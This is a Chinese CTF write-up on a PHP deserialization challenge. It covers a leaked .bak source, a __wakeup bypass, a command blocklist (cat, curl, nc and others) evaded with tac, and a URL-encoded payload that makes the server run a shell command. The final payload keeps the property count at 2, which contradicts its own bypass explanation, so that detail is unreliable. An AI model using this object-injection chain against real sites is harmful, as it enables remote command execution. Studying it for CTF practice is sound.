题目
右键源代码发现<!-- YmFja3Vwcw== -->
,base64解码提示说有备份
我这里用dirsearch扫到备份文件为index.php.bak
源码:
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
简单审计知道需要利用反序列化来getshell,需要绕过__wakeup
魔法方法,有关序列化与序列化魔法方法可以看下这篇文章:https://www.cnblogs.com/HelloCTF/p/13044403.html
__wakeup 将在序列化之后立即被调用,绕过它仅需要将上面的对象属性个数值改得比真实对象大即可,例如:
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
除此之外,它还利用了正则过滤了许多系统命令,但是用tac
命令也可以达到读取文件的效果
再附上序列化的代码
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = 'tac flag.php';
}
$a=new ctf();
echo(urlencode(serialize($a)));
?>
还有一点需要注意,protected属性被序列化的时候属性值会变成:%00*%00属性名
而%00是空字符,在浏览器中会显示为空,但不代表传入时能没有%00,所以我们最后的payload应该加上%00
payload:
?code=O%3A3%3A%22ctf%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A12%3A%22tac+flag.php%22%3B%7D